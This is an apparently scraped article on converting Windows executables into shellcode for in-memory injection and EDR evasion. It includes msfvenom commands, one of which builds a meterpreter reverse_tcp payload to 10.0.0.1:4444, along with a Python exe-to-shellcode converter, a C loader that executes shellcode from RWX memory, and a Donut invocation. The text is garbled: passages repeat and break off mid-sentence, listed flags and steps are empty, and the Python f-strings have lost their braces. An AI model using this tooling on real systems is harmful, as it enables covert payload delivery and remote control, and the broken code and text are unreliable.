In the world of cybersecurity, red teaming, and exploit development, the term "shellcode" conjures images of compact, hex-string blobs that spawn a shell or execute a remote access tool. Traditionally, shellcode is written directly in assembly, painstakingly optimized to be position-independent and free of null bytes. However, modern offensive operations often require complex functionality—file uploads, keylogging, C2 communication over HTTPS, or bypassing specific EDR hooks.
Writing a multi-stage beacon from scratch in assembly is impractical. Enter the technique of converting an existing Windows executable (.exe) into shellcode. This process allows attackers to leverage fully-featured compiled binaries (e.g., a custom messenger.exe or beacon.exe) and inject them directly into memory without touching the disk.
But how does one transform a Portable Executable (PE) into a raw block of position-independent code? This article explores the theory, methods, tooling, and limitations of this conversion.
msfvenom -p windows/x64/exec CMD=calc.exe -f exe -o payload.exe
EXEs are harder to convert than DLLs. Consider converting your payload to a Reflective DLL first: convert exe to shellcode
# Using msfvenom to generate shellcode directly (simpler)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shellcode.bin
Your stub must:
#!/usr/bin/env python3
import sys
def exe_to_shellcode(exe_path, output_path):
with open(exe_path, 'rb') as f:
data = f.read()
# Convert to shellcode format
shellcode = ''.join(f'\\xbyte:02x' for byte in data)
with open(output_path, 'w') as f:
f.write(shellcode)
print(f"[+] Converted len(data) bytes to shellcode")
if name == "main":
if len(sys.argv) != 3:
print(f"Usage: sys.argv[0] <input.exe> <output.txt>")
sys.exit(1)
exe_to_shellcode(sys.argv[1], sys.argv[2])
// test_loader.c - Load and execute shellcode
#include <windows.h>
int main()
unsigned char shellcode[] = /* paste shellcode here */ ;
void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
return 0;
Run Donut. The syntax is simple:
donut -f popup.exe -o payload.bin
Key flags:
In the world of low-level exploitation and post-exploitation, shellcode is king. It is position-independent code (PIC) that an attacker injects into a running process to spawn a shell, download a payload, or execute commands.
But writing complex shellcode (like a full reverse HTTPS listener) directly in assembly is tedious. Wouldn't it be easier to write a full C++ application, compile it to an .exe, and then just convert that EXE into shellcode? In the world of cybersecurity, red teaming, and
Yes. And here is how it works.